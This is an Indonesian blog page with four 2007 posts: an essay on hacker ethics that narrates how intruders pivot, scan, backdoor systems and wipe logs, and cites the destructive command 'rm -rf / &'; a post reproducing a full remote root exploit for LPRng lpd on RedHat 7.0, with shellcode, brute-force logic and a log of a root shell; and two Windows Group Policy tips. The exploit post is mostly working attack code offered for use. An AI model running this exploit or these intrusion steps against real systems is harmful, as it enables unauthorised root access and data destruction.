Belajar Menjadi Hacker

13 08 2007

Oleh : Onno W. Purbo

Hacker dengan keahliannya dapat melihat & memperbaiki kelemahan perangkat lunak di komputer; biasanya kemudian di publikasikan secara terbuka di Internet agar sistem menjadi lebih baik. Sialnya, segelintir manusia berhati jahat menggunakan informasi tersebut untuk kejahatan – mereka biasanya disebut cracker. Pada dasarnya dunia hacker & cracker tidak berbeda dengan dunia seni, disini kita berbicara seni keamanan jaringan Internet.

Saya berharap ilmu keamanan jaringan di tulisan ini digunakan untuk hal-hal yang baik – jadilah Hacker bukan Cracker. Jangan sampai anda terkena karma karena menggunakan ilmu untuk merusak milik orang lain. Apalagi, pada saat ini kebutuhan akan hacker semakin bertambah di Indonesia dengan semakin banyak dotcommers yang ingin IPO di berbagai bursa saham. Nama baik & nilai sebuah dotcom bisa jatuh bahkan menjadi tidak berharga jika dotcom di bobol. Dalam kondisi ini, para hacker di harapkan bisa menjadi konsultan keamanan bagi para dotcommers tersebut – karena SDM pihak kepolisian & aparat keamanan Indonesia amat sangat lemah & menyedihkan di bidang Teknologi Informasi & Internet. Apa boleh buat cybersquad, cyberpatrol swasta barangkali perlu di budayakan untuk survival dotcommers Indonesia di Internet.

Berbagai teknik keamanan jaringan Internet dapat di peroleh secara mudah di Internet antara lain di http://www.sans.org, http://www.rootshell.com, http://www.linuxfirewall.org/, http://www.linuxdoc.org, http://www.cerias.purdue.edu/coast/firewalls/, http://www.redhat.com/mirrors/LDP/HOWTO/. Sebagian dari teknik ini berupa buku-buku yang jumlah-nya beberapa ratus halaman yang dapat di ambil secara cuma-cuma (gratis). Beberapa Frequently Asked Questions (FAQ) tentang keamanan jaringan bisa diperoleh di http://www.iss.net/vd/mail.html, http://www.v-one.com/documents/fw-faq.htm. Dan bagi para experimenter beberapa script / program yang sudah jadi dapat diperoleh antara lain di http://bastille-linux.sourceforge.net/, http://www.redhat.com/support/docs/tips/firewall/firewallservice.html.

Bagi pembaca yang ingin memperoleh ilmu tentang jaringan dapat di download secara cuma-cuma dari http://pandu.dhs.org, http://www.bogor.net/idkf/, http://louis.idaman.com/idkf. Beberapa buku berbentuk softcopy yang dapat di ambil gratis dapat di ambil dari http://pandu.dhs.org/Buku-Online/. Kita harus berterima kasih terutama kepada team Pandu yang dimotori oleh I Made Wiryana untuk ini. Pada saat ini, saya tidak terlalu tahu adanya tempat diskusi Indonesia yang aktif membahas teknik-teknik hacking ini – tetapi mungkin bisa sebagian di diskusikan di mailing list lanjut seperti kursus-linux@yahoogroups.com & linux-admin@linux.or.id yang di operasikan oleh Kelompok Pengguna Linux Indonesia (KPLI) http://www.kpli.or.id.

Cara paling sederhana untuk melihat kelemahan sistem adalah dengan cara mencari informasi dari berbagai vendor misalnya di http://www.sans.org/newlook/publications/roadmap.htm#3b tentang kelemahan dari sistem yang mereka buat sendiri. Di samping, memonitoring berbagai mailing list di Internet yang berkaitan dengan keamanan jaringan seperti dalam daftar http://www.sans.org/newlook/publications/roadmap.htm#3e.

Dijelaskan oleh Front-line Information Security Team, “Techniques Adopted By ‘System Crackers’ When Attempting To Break Into Corporate or Sensitive Private Networks,” fist@ns2.co.uk http://www.ns2.co.uk. Seorang Cracker umumnya pria usia 16-25 tahun. Berdasarkan statistik pengguna Internet di Indonesia maka sebetulnya mayoritas pengguna Internet di Indonesia adalah anak-anak muda pada usia ini juga. Memang usia ini adalah usia yang sangat ideal dalam menimba ilmu baru termasuk ilmu Internet, sangat disayangkan jika kita tidak berhasil menginternetkan ke 25000 sekolah Indonesia s/d tahun 2002 – karena tumpuan hari depan bangsa Indonesia berada di tangan anak-anak muda kita ini.

Nah, para cracker muda ini umumnya melakukan cracking untuk meningkatkan kemampuan / menggunakan sumber daya di jaringan untuk kepentingan sendiri. Umumnya para cracker adalah opportunis. Melihat kelemahan sistem dengan mejalankan program scanner. Setelah memperoleh akses root, cracker akan menginstall pintu belakang (backdoor) dan menutup semua kelemahan umum yang ada.

Seperti kita tahu, umumnya berbagai perusahaan / dotcommers akan menggunakan Internet untuk (1) hosting web server mereka, (2) komunikasi e-mail dan (3) memberikan akses web / internet kepada karyawan-nya. Pemisahan jaringan Internet dan IntraNet umumnya dilakukan dengan menggunakan teknik / software Firewall dan Proxy server. Melihat kondisi penggunaan di atas, kelemahan sistem umumnya dapat di tembus misalnya dengan menembus mailserver external / luar yang digunakan untuk memudahkan akses ke mail keluar dari perusahaan. Selain itu, dengan menggunakan agressive-SNMP scanner & program yang memaksa SNMP community string dapat mengubah sebuah router menjadi bridge (jembatan) yang kemudian dapat digunakan untuk batu loncatan untuk masuk ke dalam jaringan internal perusahaan (IntraNet).

Agar cracker terlindungi pada saat melakukan serangan, teknik cloacking (penyamaran) dilakukan dengan cara melompat dari mesin yang sebelumnya telah di compromised (ditaklukan) melalui program telnet atau rsh. Pada mesin perantara yang menggunakan Windows serangan dapat dilakukan dengan melompat dari program Wingate. Selain itu, melompat dapat dilakukan melalui perangkat proxy yang konfigurasinya kurang baik.

Setelah berhasil melompat dan memasuki sistem lain, cracker biasanya melakukan probing terhadap jaringan dan mengumpulkan informasi yang dibutuhkan. Hal ini dilakukan dengan beberapa cara, misalnya (1) menggunakan nslookup untuk menjalankan perintah ‘ls <domain or network>’ , (2) melihat file HTML di webserver anda untuk mengidentifikasi mesin lainnya, (3) melihat berbagai dokumen di FTP server, (4) menghubungkan diri ke mail server dan menggunakan perintah ‘expn <user>’, dan (5) mem-finger user di mesin-mesin eksternal lainnya.

Langkah selanjutnya, cracker akan mengidentifikasi komponen jaringan yang dipercaya oleh system apa saja. Komponen jaringan tersebut biasanya mesin administrator dan server yang biasanya di anggap paling aman di jaringan. Start dengan check akses & eksport NFS ke berbagai direktori yang kritis seperti /usr/bin, /etc dan /home. Eksploitasi mesin melalui kelemahan Common Gateway Interface (CGI), dengan akses ke file /etc/hosts.allow.

Selanjutnya cracker harus mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan. Cracker bisa mengunakan program di Linux seperti ADMhack, mscan, nmap dan banyak scanner kecil lainnya. Program seperti ‘ps’ & ‘netstat’ di buat trojan (ingat cerita kuda troya? dalam cerita klasik yunani kuno) untuk menyembunyikan proses scanning. Bagi cracker yang cukup advanced dapat mengunakan aggressive-SNMP scanning untuk men-scan peralatan dengan SNMP.

Setelah cracker berhasil mengidentifikasi komponen jaringan yang lemah dan bisa di taklukan, maka cracker akan menjalan program untuk menaklukan program daemon yang lemah di server. Program daemon adalah program di server yang biasanya berjalan di belakang layar (sebagai daemon / setan). Keberhasilan menaklukan program daemon ini akan memungkinkan seorang Cracker untuk memperoleh akses sebagai ‘root’ (administrator tertinggi di server).

Untuk menghilangkan jejak, seorang cracker biasanya melakukan operasi pembersihan ‘clean-up’ operation dengan cara membersihkan berbagai log file. Dan menambahkan program untuk masuk dari pintu belakang ‘backdooring’. Mengganti file .rhosts di /usr/bin untuk memudahkan akses ke mesin yang di taklukan melalui rsh & csh.

Selanjutnya seorang cracker dapat menggunakan mesin yang sudah ditaklukan untuk kepentingannya sendiri, misalnya mengambil informasi sensitif yang seharusnya tidak dibacanya; mengcracking mesin lain dengan melompat dari mesin yang di taklukan; memasang sniffer untuk melihat / mencatat berbagai trafik / komunikasi yang lewat; bahkan bisa mematikan sistem / jaringan dengan cara menjalankan perintah ‘rm -rf / &’. Yang terakhir akan sangat fatal akibatnya karena sistem akan hancur sama sekali, terutama jika semua software di letakan di harddisk. Proses re-install seluruh sistem harus di lakukan, akan memusingkan jika hal ini dilakukan di mesin-mesin yang menjalankan misi kritis.

Oleh karena itu semua mesin & router yang menjalankan misi kritis sebaiknya selalu di periksa keamanannya & di patch oleh software yang lebih baru. Backup menjadi penting sekali terutama pada mesin-mesin yang menjalankan misi kritis supaya terselamatkan dari ulah cracker yang men-disable sistem dengan ‘rm -rf / &’.

Bagi kita yang sehari-hari bergelut di Internet biasanya justru akan sangat menghargai keberadaan para hacker (bukan Cracker). Karena berkat para hacker-lah Internet ada dan dapat kita nikmati seperti sekarang ini, bahkan terus di perbaiki untuk menjadi sistem yang lebih baik lagi. Berbagai kelemahan sistem di perbaiki karena kepandaian rekan-rekan hacker yang sering kali mengerjakan perbaikan tsb. secara sukarela karena hobby-nya. Apalagi seringkali hasil hacking-nya di sebarkan secara cuma-cuma di Internet untuk keperluan masyarakat Internet. Sebuah nilai & budaya gotong royong yang mulia justru tumbuh di dunia maya Internet yang biasanya terkesan futuristik dan jauh dari rasa sosial.

Pengembangan para hobbiest hacker ini menjadi penting sekali untuk keberlangsungan / survival dotcommers di wahana Internet Indonesia. Sebagai salah satu bentuk nyatanya, dalam waktu dekat Insya Allah sekitar pertengahan April 2001 akan di adakan hacking competition di Internet untuk membobol sebuah server yang telah di tentukan terlebih dahulu. Hacking competition tersebut di motori oleh anak-anak muda di Kelompok Pengguna Linux Indonesia (KPLI) Semarang yang digerakan oleh anak muda seperti Kresno Aji (masaji@telkom.net), Agus Hartanto (hartx@writeme.com) & Lekso Budi Handoko (handoko@riset.dinus.ac.id). Seperti umumnya anak-anak muda lainnya, mereka umumnya bermodal cekak – bantuan & sponsor tentunya akan sangat bermanfaat dan dinantikan oleh rekan-rekan muda ini.

Mudah-mudahan semua ini akan menambah semangat pembaca, khususnya pembaca muda, untuk bergerak di dunia hacker yang mengasyikan dan menantang. Kalau kata Captain Jean Luc Picard di Film Startrek Next Generation, “To boldly go where no one has gone before”.





ngehack redhad 7.0

13 08 2007

menjelang tahun baru 2001, Redhat versi terbaru, yaitu RedHat 7.0 mendapat tamparan yang cukup kencang dari kelompok security netcat. kelompok ini membuat sebuah program yang mampu meng-exploit security bug yang terdapat pada lpd dimana pada bug ini memungkinkan remote user untuk mendapatkan root akses.
Berikut adalah percobaan yang telah dilakukan oleh pihak jasakom dalam menggunakan exploit yang telah di sebar luaskan pada security team di internet pada jam 3 pagi waktu indonesia. Pihak jasakom yang menggunakan RedHat 7.0 dengan port lpd yang terbuka melakukan exploit pada web server di lab jasakom. Pada bug yg obatnya ada di http://www.redhat.com/support/errata/RHSA-2000-065-06.html atau updatenya di ftp://updates.redhat.com/7.0/i386/LPRng-3.6.24-2.i386.rpm ftp://updates.redhat.com/7.0/SRPMS/LPRng-3.6.24-2.src.rpm
diperkirakan akan banyak dipakai oleh orang-orang tidak bertanggung jawab dalam melakukan deface ke web server.

Berikut adalah hasil percobaan dari pihak jasakom :
[root@localhost /test]# ls
SEClpd.c.txt SElpd SElpd.c saint
[root@localhost /test]# ./SElpd 127.0.0.1 -t 0
+++ www.netcat.it remote exploit for LPRng/lpd

+++ Exploit information
+++ Victim: 127.0.0.1
+++ Type: 0 – RedHat 7.0 – Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0

+++ Attacking 127.0.0.1 with our format string
Argh exploit failed$#%! try brute force!

Percobaan pertama gagal, kemudian dilakukan exploit dengan menggunakan brute dan inilah hasilnya :

[root@localhost /test]# ./SElpd 127.0.0.1 brute -t 0
+++ www.netcat.it remote exploit for LPRng/lpd

+++ Exploit information
+++ Victim: 127.0.0.1
+++ Type: 0 – RedHat 7.0 – Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0

+++ Attacking 127.0.0.1 with our format string
+++ Brute force man, relax and enjoy the ride ;>
+++ The eip_address is 0xbffff3d8

- [+] shell located on 127.0.0.1
- [+] Enter Commands at will

Linux localhost.localdomain 2.2.16-22 #1 Tue Aug 22 16:16:55 EDT 2000 i586 unkno
wn
uid=0(root) gid=7(lp)
ls       <- Bingo !!! anda telah berhasil
bin
boot
dev
etc
home
lib
lost+found
misc
mnt
opt
proc
root
sbin
test
tmp
usr
var
cd etc
ls
CORBA
DIR_COLORS
Muttrc
X11
adjtime
aliases
aliases.db
anacrontab
at.deny
auto.master
auto.misc
bashrc
cdrecord.conf
conf.linuxconf
cron.d
cron.daily
cron.hourly
cron.monthly
cron.weekly
crontab
csh.cshrc
csh.login
default
dhcpc
dhcpcd
dumpdates
enscript.cfg
esd.conf
exports
fdprm
filesystems
fnrc
fstab
ftpaccess
ftpconversions
ftpgroups
ftphosts
ftpusers
gettydefs
gnome
gpm-root.conf
group
group-
gshadow
gshadow-
gtk
gtk-2.0
host.conf
hosts
hosts.allow
hosts.deny
httpd
identd.conf
im
im_palette-small.pal
im_palette-tiny.pal
im_palette.pal
imrc
info-dir
init.d
initlog.conf
inittab
inputrc
ioctl.save
isapnp.gone
isdn
issue
issue.net
krb5.conf
lam
ld.so.cache
ld.so.conf
ldap.conf
lilo.conf
localtime
login.defs
logrotate.conf
logrotate.d
lpd.conf
lpd.perms
ltrace.conf
lynx.cfg
mail
mail.rc
mailcap
makedev.d
man.config
mc.global
mesa.conf
mgetty+sendfax
midi
mime-magic
mime-magic.dat
mime.types
minicom.users
modules.conf
motd
mtab
mtools.conf
my.conf
news
nmh
nsswitch.conf
odbc.ini
odbcinst.ini
openldap
opt
pam.d
pango
paper.config
passwd
passwd-
passwd.OLD
pbm2ppa.conf
pcmcia
php.ini
pine.conf
pine.conf.fixed
pluggerrc
pnm2ppa.conf
ppp
printcap
profile
profile.d
protocols
pwdb.conf
rc
rc.d
rc.local
rc.news
rc.sysinit
rc0.d
rc1.d
rc2.d
rc3.d
rc4.d
rc5.d
rc6.d
redhat-release
resolv.conf
rmt
rpc
rpm
rpmlint
samba
sane.d
screenrc
securetty
security
sendmail.cf
sensors.conf
services
shadow-
shells
skel
smrsh
snmp
sound
squid
ssh
sysconfig
sysctl.conf
syslog.conf
termcap
updatedb.conf
uucp
wgetrc
xinetd.conf
xinetd.d
yp.conf
ypserv.conf
pwd             <- melihat direktory
/etc

Berikut adalah program yang digunakan. Semoga anda tidak melakukan hal-hal yang merusak denganya, karena pihak jasakom tidak bertanggung jawab atas code ini ;)

/*
*
* www.netcat.it Presents: LPRng/Linux remote root lpd exploit.
*
* NetCat.it – admin@netcat.it
*
* Please Sysadmin Patch your Box!
* Please RedHat.com, release a patch!
*
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*
* This exploit can be download from www.netcat.it
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ADDRESS_BUFFER_SIZE 32+4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000

char shellcode[] =

“\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80″
“\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8″
“\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89″
“\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0″
“\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd”
“\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9″
“\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75″
“\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08″
“\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh”;

struct target
{
char *os_name;
u_long eip_address;
u_long shellcode_address;
unsigned int position;
int written_bytes;
int align;
};

struct target targets[] =
{
{ “RedHat 7.0 – Guinesss “, 0xbffff3ec, 0L, 300, 70, 2, },
{ “RedHat 7.0 – Guinesss-dev”, 0xbffff12c, 0L, 300, 70, 2, },
{
NULL, 0L, 0L, 0, 0, 0
}
};

static char address_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char shellcode_buffer[1024];
static char *hostname=NULL;
static int offset;
static struct hostent *he;
int type=-1;
int brute=-1, failure=1;

void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc)
{
int i;
unsigned int tmp = 0;
unsigned int copied = previous;
unsigned int num[4] =
{
(unsigned int) (shellcode_addr & 0×000000ff),
(unsigned int)((shellcode_addr & 0×0000ff00) >> 8),
(unsigned int)((shellcode_addr & 0×00ff0000) >> 16),
(unsigned int)((shellcode_addr & 0xff000000) >> 24)
};

memset (address_buffer, ”, sizeof(address_buffer));
memset (append_buffer, ”, sizeof(append_buffer));

for (i = 0; i < 4; i++)
{
while (copied > 0×100)
copied -= 0×100;

if ( (i > 0) && (num[i-1] == num[i]) )
sprintf (append_buffer+strlen(append_buffer), “%%%d$n”, addr_loc+i);
else if (copied < num[i])
{
if ( (num[i] – copied) <= 10)
{
sprintf (append_buffer+strlen(append_buffer), “%.*s”,
(int)(num[i] – copied), “www.netcat.it”);
copied += (num[i] – copied);
sprintf (append_buffer+strlen(append_buffer), “%%%d$n”, addr_loc+i); } else {
sprintf (append_buffer+strlen(append_buffer), “%%.%du”,
num[i] – copied);
copied += (num[i] – copied);
sprintf (append_buffer+strlen(append_buffer), “%%%d$n”, addr_loc+i); }
} else {
tmp = ((num[i] + 0×100) – copied);
sprintf (append_buffer+strlen(append_buffer), “%%.%du”, tmp);
copied += ((num[i] + 0×100) – copied);
sprintf (append_buffer+strlen(append_buffer), “%%%d$n”, addr_loc+i);
}

sprintf (address_buffer+strlen(address_buffer), “%c%c%c%c”,
(unsigned char) ((eip_addr+i) & 0×000000ff),
(unsigned char)(((eip_addr+i) & 0×0000ff00) >> 8),
(unsigned char)(((eip_addr+i) & 0×00ff0000) >> 16),
(unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
}

while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
strcat (address_buffer, “X”);

#ifdef DEBUG
printf (”\nGeneration complete:\nAddress: “);
for (i = 0; i < strlen(address_buffer); i++)
{
if ( ((i % 4) == 0) && (i > 0) )
printf (”.”);
printf (”%02x”, (unsigned char)address_buffer[i]);
}
printf (”\nAppend: %s\n”, append_buffer);
#endif

return;
}

char *create_malicious_string(void)
{
static char format_buffer[FORMAT_LENGTH+1];
long addr1,addr2;
int i;

memset (format_buffer, ”, sizeof(format_buffer));

targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;

addr1 = targets[type].eip_address;
addr2 = targets[type].shellcode_address;
calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position);

(void)snprintf (format_buffer, sizeof(format_buffer)-1, “%.*s%s”,
targets[type].align, “BBBB”, address_buffer);

strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);

for(i = 0 ; i < NOPCOUNT ; i++)
strcat(format_buffer, “\x90″);

strcat(format_buffer, shellcode);

return (format_buffer);
}

int connect_victim()
{

int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char buff[1024];

static char testcmd[256] = “/bin/uname -a ; id ;\r\n”;

s.sin_family = AF_INET;
s.sin_port = htons (3879);
s.sin_addr.s_addr = *(u_long *)he->h_addr;

if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf (”— [5] Unable to create socket!\n”);
printf(”Exploit failed!\n”);
return -1;
}

if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
return -1;
}

if(brute)

printf(”+++ The eip_address is 0x%x\n\n”, targets[type].eip_address);

printf(”- [+] shell located on %s\n”, hostname);
printf(”- [+] Enter Commands at will\n\n”);

failure = -1;

FD_ZERO(&fd_stat);
FD_SET(sockfd, &fd_stat);
send(sockfd, testcmd, strlen(testcmd), 0);

while(1) {

FD_SET(sockfd,&fd_stat);
FD_SET(0,&fd_stat);

if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sockfd, &fd_stat) ) {
if((n=read(sockfd,buff,sizeof(buff)))<0){
fprintf(stderr, “EOF\n”);
return 2;
}

if(write(1,buff,n)<0)break;
}
if ( FD_ISSET(0, &fd_stat) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,”EOF\n”);
return 2;
}

if(send(sockfd,buff,n,0)<0) break;

}
}
}

void send_code(char *exploit_buffer)
{

int sockfd, n;
struct sockaddr_in s;
fd_set fd_stat;
char recv[1024];
static char testcmd[256] = “/bin/uname -a ; id ;\r\n”;

s.sin_family = AF_INET;
s.sin_port = htons (515);
s.sin_addr.s_addr = *(u_long *)he->h_addr;

if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
printf (”— [5] Unable to create socket!\n”);
printf(”Exploit failed!\n”);
exit(-1);
}

if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
{
printf (”— [5] Unable to connect to %s\n”, hostname);
printf(”Exploit failed, %s is not running LPD!\n”, hostname);
exit(-1);
}

usleep(DELAY);

if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
{
printf (”Couldn’t write to socket %d”, sockfd);
printf (”Exploit failed\n”);
exit(2);
}

close(sockfd);
connect_victim();

}

void usage(char *program)
{

int i=0;

printf(”SEClpd by www.netcat.it ! \n\n”);
printf(”Usage: %s victim [\”brute\”] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n”, program);
printf(”ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n”);
printf(”ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n”);
printf(”Types:\n\n”);

while( targets[i].os_name != NULL)
printf (”[ Type %d: [ %s ]\n”, i++, targets[i].os_name);
}

int main(int argc, char **argv)
{

char exploit_buffer[1024];
char *format = NULL;
int c, brutecount=0;

if(argc < 3)
{
usage(argv[0]);
return 1;
}

hostname = argv[1];

if(!strncmp(argv[2], “brute”, 5)) brute = 1;

while(( c = getopt (argc, argv, “t:r:c:a:o:p:w:k”))!= EOF){

switch (c)
{

case ‘t’:
type = atoi(optarg);
break;

case ‘r’:
targets[type].eip_address = strtoul(optarg, NULL, 16);
break;

case ‘c’:
targets[type].shellcode_address = strtoul(optarg, NULL, 16);
break;

case ‘a’:
targets[type].align = atoi(optarg);
break;

case ‘o’:
offset = atoi(optarg);
break;

case ‘p’:
targets[type].position = atoi(optarg);
break;

case ‘w’:
targets[type].written_bytes = atoi(optarg);
break;

default:
usage(argv[0]);
return 1;
}
}

if(type < 0)
{
printf(”You must specify a type!\n”);
printf(”example: ./SEClpd victim -t 0\n”);
return -1;
}

if ( (he = gethostbyname (hostname)) == NULL)
{
herror(”gethostbyname”);
exit(1);
}

targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;

printf(”+++ www.netcat.it remote exploit for LPRng/lpd \n\n”);

printf(”+++ Exploit information\n”);
printf(”+++ Victim: %s\n”, hostname);
printf(”+++ Type: %d – %s\n”, type, targets[type].os_name);
printf(”+++ Eip address: 0x%x\n”, targets[type].eip_address);
printf(”+++ Shellcode address: 0x%x\n”, targets[type].shellcode_address);
printf(”+++ Position: %d\n”, targets[type].position);
printf(”+++ Alignment: %d\n”, targets[type].align);
printf(”+++ Offset %d\n”, offset);
printf(”\n”);

printf(”+++ Attacking %s with our format string\n”, hostname);

if( brute > 0 )
{

printf(”+++ Brute force man, relax and enjoy the ride ;>\n”);
targets[type].eip_address = 0xbffffff0;

while(failure)

{
memset(exploit_buffer, ”, sizeof(exploit_buffer));

format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, “\n”);
send_code(exploit_buffer);

targets[type].eip_address = 0xbffffff0 – offset;

offset+=4;

if (offset > OFFSET_LIMIT) {
printf(”+++ Offset limit hit, ending brute mode ;<\n”);
return -1;

}
}
}

else

format = create_malicious_string();
strcpy(exploit_buffer, address_buffer);
strcat(exploit_buffer, format);
strcat(exploit_buffer, “\n”);
send_code(exploit_buffer);

printf(”Argh exploit failed$#%! try brute force!\n”);

return (-1);

 





Mendisable Menu Folder Option pada Windows Explorer

13 08 2007

Kadang-kadang karena alasan tertentu (misalnya kerahasiaan atau keamanan), kita bisa merubah attribute file menjadi hidden agar orang lain tidak bisa mengetahui/melihatnya. Jika demikian yang Anda inginkan maka Anda harus memilih option Do not show hidden files or folders pada Folder Option tab view. (lihat gambar di bawah ini). Dengan demikian file yang kita hidden tidak nampak dalam Windows explorer.

 

rere12345.jpg

 

 

Untuk menambah jaminan keamanannya Anda bisa mendisable atau “menghilangkan” Folder Option tersebut sehingga tidak nampak pada submenu Tools pada Windows Explorer.

 

Caranya seperti biasa Klik Start > Run > kemudian ketik gpedit.msc kemudian enter atau OK hingga muncul seperti gambar di bawah ini.

 

rere12.jpg

 

Kemudian User Configuration > Administrative Templates > Windows Components > Windows Explorer dan akan muncul seperti gambar di bawah ini.

 

rere1.jpg

Kemudian pada sisi kanan Klik double Remove the Folder Options menu item the Tools menu dan akan muncul seperti gambar di bawah ini.

Kemudian pilih option enabled. Klik OK dan tutup Group Policy. Setelah itu, kita mencoba membuka Windows Explorer. Kemudian perhatikan pada menu Tools, di situ menu Folder Option sudah tidak ada. Selamat Mencoba.





Membatasi hak akses drive pada My Computer

13 08 2007

Apakah PC Anda sering digunakan anak atau isteri Anda? Atau bahkan sering Anda pinjamkan kepada orang lain? Mungkin saja Anda punya data penting yang tidak boleh diketahui oleh orang lain atau tidak boleh diakses oleh anak seusia anak Anda. Bagaimana jika Anda sering membawa pulang pekerjaan kantor berupa data/file penting yang orang lain tidak boleh mengetahuinya?

 

Banyak alternatife untuk membatasi/mencegah hak akses agar data tidak bisa diakses orang lain. Selain dengan menggunakan software tertentu (misalnya, Folder Security) bisa juga dengan mengotak-atik fasilitas Group Policy Editor (gpedit.msc). Dengan hanya beberapa langkah saja, Anda akan terbebas dari perasaan kuatir akan keamanan data Anda.

 

Ikuti langkah-langkah di bawah ini.

 

· Klik Start > Run > ketik gpedit.msc kemudian ENTER atau OK tunggu beberapa saat hingga muncul editor seperti gambar di bawah ini.

 

rere12.jpg

 

· Kemudian Klik User Configuration > Administrative Templates > Windows Components > Windows Explorer seperti nampak pada gambar di bawah ini.

rere1.jpg

 

· Kemudian pada sisi sebelah kanan Klik double pada Prevent access to the drive from My Computer dan akan muncul kotak seperti di bawah ini.

 

rere1231.jpg

 

Klik/pilih Enabled kemudian pilih salah satu option dibawah menu Pick one of the following combinations. Option yang ditawarkan adalah sebagai berikut.

  1. Restrict A and B drives only ==> membatasi drive A dan B saja
  2. Restrict C drive only ==> membatasi drive C saja
  3. Restrict D drive only ==> membatasi drive D saja
  4. Restric A,B,C drives only ==> membatasi drive A,B,C saja
  5. Restrict A,B,C.D drives only ==> membatasi drive A,B,C,D saja
  6. Restrict all drives ==> membatasi semua drive
  7. Do Not restrict all drives ==> Tidak Membatasi semua drive

Pilih salah satu option yang Anda inginkan pada menu dropdown tersebut. Setelah itu klik OK kemudian tutup Group Policy Editor. Sekarang coba Anda Klik drive yang telah Anda batasi hak aksesnya tersebut.

 

Sayangnya kita hanya bisa memilih drive hingga letter D saja. Sehingga apabila Anda ingin membatasi hak akses untuk drive E dan seterusnya maka Anda terpaksa harus memilih Restrict all drives. Atau bisa juga pindahkan data penting Anda ke drive C atau D. No Problem, kan!!

 

Sebagai contoh, penulis memilih option Restrict D drive only dan jika mengKLIK drive D tersebut maka muncul komentar seperti di bawah ini. (Drive D tidak bisa diakses kan) Coba dengan drive yang lain. (sumber : Ilmukomputer.com)

 

rere1234.jpg

 

Selamat Mencoba!!!!